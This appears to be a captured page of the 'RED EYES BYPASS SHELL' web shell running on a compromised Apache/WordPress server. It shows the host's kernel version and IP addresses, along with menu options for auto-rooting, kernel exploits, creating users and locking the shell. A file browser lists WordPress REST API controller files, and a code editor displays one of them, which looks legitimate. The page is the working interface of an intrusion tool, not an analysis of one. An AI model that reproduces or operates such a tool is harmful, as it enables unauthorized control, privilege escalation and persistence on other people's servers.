Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
bigdata /
wp-includes /
rest-api /
endpoints /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
class-wp-rest-abilities-v1-categories-controller.php
7.9
KB
-rwxr-xr-x
class-wp-rest-abilities-v1-list-controller.php
10.24
KB
-rwxr-xr-x
class-wp-rest-abilities-v1-run-controller.php
6.87
KB
-rwxr-xr-x
class-wp-rest-application-passwords-controller.php
23.75
KB
-rwxr-xr-x
class-wp-rest-attachments-controller.php
52.96
KB
-rwxr-xr-x
class-wp-rest-autosaves-controller.php
14.88
KB
-rwxr-xr-x
class-wp-rest-block-directory-controller.php
9.71
KB
-rwxr-xr-x
class-wp-rest-block-pattern-categories-controller.php
4.7
KB
-rwxr-xr-x
class-wp-rest-block-patterns-controller.php
9.08
KB
-rwxr-xr-x
class-wp-rest-block-renderer-controller.php
5.7
KB
-rwxr-xr-x
class-wp-rest-block-types-controller.php
26.25
KB
-rwxr-xr-x
class-wp-rest-blocks-controller.php
3.1
KB
-rwxr-xr-x
class-wp-rest-comments-controller.php
61.24
KB
-rwxr-xr-x
class-wp-rest-controller.php
18.62
KB
-rwxr-xr-x
class-wp-rest-edit-site-export-controller.php
2.06
KB
-rwxr-xr-x
class-wp-rest-font-collections-controller.php
10.47
KB
-rwxr-xr-x
class-wp-rest-font-faces-controller.php
29.11
KB
-rwxr-xr-x
class-wp-rest-font-families-controller.php
17.1
KB
-rwxr-xr-x
class-wp-rest-global-styles-controller.php
20.58
KB
-rwxr-xr-x
class-wp-rest-global-styles-revisions-controller.php
12.62
KB
-rwxr-xr-x
class-wp-rest-menu-items-controller.php
32.49
KB
-rwxr-xr-x
class-wp-rest-menu-locations-controller.php
8.75
KB
-rwxr-xr-x
class-wp-rest-menus-controller.php
16.68
KB
-rwxr-xr-x
class-wp-rest-navigation-fallback-controller.php
5.05
KB
-rwxr-xr-x
class-wp-rest-pattern-directory-controller.php
12.64
KB
-rwxr-xr-x
class-wp-rest-plugins-controller.php
27.86
KB
-rwxr-xr-x
class-wp-rest-post-statuses-controller.php
10.07
KB
-rwxr-xr-x
class-wp-rest-post-types-controller.php
13.95
KB
-rwxr-xr-x
class-wp-rest-posts-controller.php
100.05
KB
-rwxr-xr-x
class-wp-rest-revisions-controller.php
26.17
KB
-rwxr-xr-x
class-wp-rest-search-controller.php
11.21
KB
-rwxr-xr-x
class-wp-rest-settings-controller.php
10.11
KB
-rwxr-xr-x
class-wp-rest-sidebars-controller.php
15.82
KB
-rwxr-xr-x
class-wp-rest-site-health-controller.php
9.61
KB
-rwxr-xr-x
class-wp-rest-taxonomies-controller.php
13.69
KB
-rwxr-xr-x
class-wp-rest-template-autosaves-controller.php
7.64
KB
-rwxr-xr-x
class-wp-rest-template-revisions-controller.php
8.52
KB
-rwxr-xr-x
class-wp-rest-templates-controller.php
37.41
KB
-rwxr-xr-x
class-wp-rest-terms-controller.php
34.61
KB
-rwxr-xr-x
class-wp-rest-themes-controller.php
22.77
KB
-rwxr-xr-x
class-wp-rest-url-details-controller.php
20.07
KB
-rwxr-xr-x
class-wp-rest-users-controller.php
48.72
KB
-rwxr-xr-x
class-wp-rest-widget-types-controller.php
18.78
KB
-rwxr-xr-x
class-wp-rest-widgets-controller.php
26.26
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-rest-abilities-v1-list-controller.php
<?php /** * REST API list controller for Abilities API. * * @package WordPress * @subpackage Abilities_API * @since 6.9.0 */ declare( strict_types = 1 ); /** * Core controller used to access abilities via the REST API. * * @since 6.9.0 * * @see WP_REST_Controller */ class WP_REST_Abilities_V1_List_Controller extends WP_REST_Controller { /** * REST API namespace. * * @since 6.9.0 * @var string */ protected $namespace = 'wp-abilities/v1'; /** * REST API base route. * * @since 6.9.0 * @var string */ protected $rest_base = 'abilities'; /** * Registers the routes for abilities. * * @since 6.9.0 * * @see register_rest_route() */ public function register_routes(): void { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<name>[a-zA-Z0-9\-\/]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'pattern' => '^[a-zA-Z0-9\-\/]+$', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Retrieves all abilities. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { $abilities = array_filter( wp_get_abilities(), static function ( $ability ) { return $ability->get_meta_item( 'show_in_rest' ); } ); // Filter by ability category if specified. $category = $request['category']; if ( ! empty( $category ) ) { $abilities = array_filter( $abilities, static function ( $ability ) use ( $category ) { return $ability->get_category() === $category; } ); // Reset array keys after filtering. $abilities = array_values( $abilities ); } $page = $request['page']; $per_page = $request['per_page']; $offset = ( $page - 1 ) * $per_page; $total_abilities = count( $abilities ); $max_pages = (int) ceil( $total_abilities / $per_page ); if ( $request->get_method() === 'HEAD' ) { $response = new WP_REST_Response( array() ); } else { $abilities = array_slice( $abilities, $offset, $per_page ); $data = array(); foreach ( $abilities as $ability ) { $item = $this->prepare_item_for_response( $ability, $request ); $data[] = $this->prepare_response_for_collection( $item ); } $response = rest_ensure_response( $data ); } $response->header( 'X-WP-Total', (string) $total_abilities ); $response->header( 'X-WP-TotalPages', (string) $max_pages ); $query_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Retrieves a specific ability. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $ability = wp_get_ability( $request['name'] ); if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) { return new WP_Error( 'rest_ability_not_found', __( 'Ability not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $ability, $request ); return rest_ensure_response( $data ); } /** * Checks if a given request has access to read ability items. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_items_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Checks if a given request has access to read an ability item. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_item_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Normalizes schema empty object defaults. * * Converts empty array defaults to objects when the schema type is 'object' * to ensure proper JSON serialization as {} instead of []. * * @since 6.9.0 * * @param array<string, mixed> $schema The schema array. * @return array<string, mixed> The normalized schema. */ private function normalize_schema_empty_object_defaults( array $schema ): array { if ( isset( $schema['type'] ) && 'object' === $schema['type'] && isset( $schema['default'] ) ) { $default = $schema['default']; if ( is_array( $default ) && empty( $default ) ) { $schema['default'] = (object) $default; } } return $schema; } /** * Prepares an ability for response. * * @since 6.9.0 * * @param WP_Ability $ability The ability object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $ability, $request ) { $data = array( 'name' => $ability->get_name(), 'label' => $ability->get_label(), 'description' => $ability->get_description(), 'category' => $ability->get_category(), 'input_schema' => $this->normalize_schema_empty_object_defaults( $ability->get_input_schema() ), 'output_schema' => $this->normalize_schema_empty_object_defaults( $ability->get_output_schema() ), 'meta' => $ability->get_meta(), ); $context = $request['context'] ?? 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $ability->get_name() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); $links['wp:action-run'] = array( 'href' => rest_url( sprintf( '%s/%s/%s/run', $this->namespace, $this->rest_base, $ability->get_name() ) ), ); $response->add_links( $links ); } return $response; } /** * Retrieves the ability's schema, conforming to JSON Schema. * * @since 6.9.0 * * @return array<string, mixed> Item schema data. */ public function get_item_schema(): array { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'ability', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'label' => array( 'description' => __( 'Display label for the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'category' => array( 'description' => __( 'Ability category this ability belongs to.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'input_schema' => array( 'description' => __( 'JSON Schema for the ability input.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'output_schema' => array( 'description' => __( 'JSON Schema for the ability output.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'meta' => array( 'description' => __( 'Meta information about the ability.' ), 'type' => 'object', 'properties' => array( 'annotations' => array( 'description' => __( 'Annotations for the ability.' ), 'type' => array( 'boolean', 'null' ), 'default' => null, ), ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $schema ); } /** * Retrieves the query params for collections. * * @since 6.9.0 * * @return array<string, mixed> Collection parameters. */ public function get_collection_params(): array { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 50, 'minimum' => 1, 'maximum' => 100, ), 'category' => array( 'description' => __( 'Limit results to abilities in specific ability category.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ), ); } }
Close